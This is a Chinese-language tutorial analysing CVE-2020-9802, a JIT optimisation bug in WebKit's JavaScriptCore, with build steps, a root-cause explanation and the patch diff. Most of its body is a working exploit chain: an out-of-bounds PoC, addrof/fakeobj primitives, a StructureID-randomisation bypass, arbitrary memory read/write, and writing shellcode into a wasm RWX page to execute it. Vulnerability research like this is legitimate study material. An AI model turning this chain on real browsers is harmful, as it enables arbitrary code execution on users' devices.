CVE-2020-9802-WebKit JIT优化漏洞分析
字数 968 2025-08-19 12:42:07
WebKit JIT优化漏洞分析(CVE-2020-9802)教学文档
漏洞概述
CVE-2020-9802是WebKit JavaScriptCore(JSC)引擎中的一个JIT优化漏洞,位于DFG JIT编译器对ArithNegate操作的公共子表达式消除(CSE)优化过程中。攻击者可以利用该漏洞绕过数组边界检查,实现越界读写,最终可能导致任意代码执行。
环境搭建
- 获取WebKit源码并切换到特定commit:
git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git apply ./patch.diff
- 构建调试版本:
Tools/Scripts/build-webkit --jsc-only --debug
- 运行PoC:
./jsc --useConcurrentJIT=false ./exp.js
基础知识
JSC优化阶段
JSC会对JS代码进行多阶段优化,包括:
- 公共子表达式消除(CSE):将重复计算相同表达式的代码优化为重用结果
优化限制
对于以下代码无法进行CSE优化:
let c = o.a;
f();
let d = o.a;
因为f()调用可能改变o.a的值。
漏洞分析
漏洞点
在DFGClobberize中,ArithNegate操作没有使用ArithMode:
case ArithNegate:
if (node->child1().useKind() == Int32Use || ...)
def(PureValue(node)); // 只考虑输入,忽略ArithMode
这导致CSE可以用unchecked的ArithNegate替换checked的ArithNegate。
整数溢出问题
32位有符号整数取反时,只有INT_MIN(0x80000000)取反会溢出:
js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648
漏洞触发条件
构造以下效果:
v = ArithNeg(unchecked) n
i = ArithNeg(checked) n
通过CSE优化后变为:
v = ArithNeg(unchecked) n
i = v
构造步骤
- 构造
unchecked ArithNegate:
n = n | 0; // 确保n是32位整数
let v = (-n) | 0; // 生成unchecked ArithNegate
- 构造
checked ArithNegate:
if (n < 0) {
let i = Math.abs(n); // 对负数会生成checked ArithNegate
}
- 触发CSE优化:
function hax(arr, n) {
n = n | 0;
if (n < 0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if (idx < arr.length) {
arr[idx];
}
}
}
完整PoC
function Foo(arr, n) {
n = n | 0;
if (n < 0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if (idx < arr.length) {
if (idx & 0x80000000) {
idx += -0x7ffffffd; // idx = 3
}
if (idx > 0) {
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337)
}
}
}
}
漏洞利用
构造addrof和fakeobj原语
- 布置三个数组:
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
- 实现基础原语:
function AddrOf(obj) {
objArr[0] = obj;
return f2i(oobArr[4]);
}
function FakeObj(addr) {
addr = i2f(addr);
oobArr[4] = addr;
return objArr[0];
}
绕过StructureID随机化
利用getByVal的特定代码路径绕过StructureID检查:
function LeakStructureID(obj) {
let container = {
cellHeader: i2obj(0x0108230700000000),
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
构造任意地址读写
- 创建驱动对象和共享butterfly:
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309 - 0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
- 实现增强原语:
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
- 实现任意读写:
function Read64(addr) {
driver[1] = i2f(addr + 0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr + 0x10);
victim.prop = i2f(val);
}
任意代码执行
- 查找wasm rwx区域:
var jitFuncAddr = NewAddrOf(jitFunc);
var executableBaseAddr = Read64(jitFuncAddr + 0x18);
var jitCodeAddr = Read64(executableBaseAddr + 0x8);
var rwxAddr = Read64(jitCodeAddr + 0x20);
- 写入shellcode并执行:
ArbitraryWrite(rwxAddr, shellcode);
jitFunc();
补丁分析
补丁修改了DFGClobberize中对ArithNegate的处理:
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
现在CSE会检查ArithNegate的操作模式,防止unchecked和checked模式互相替换。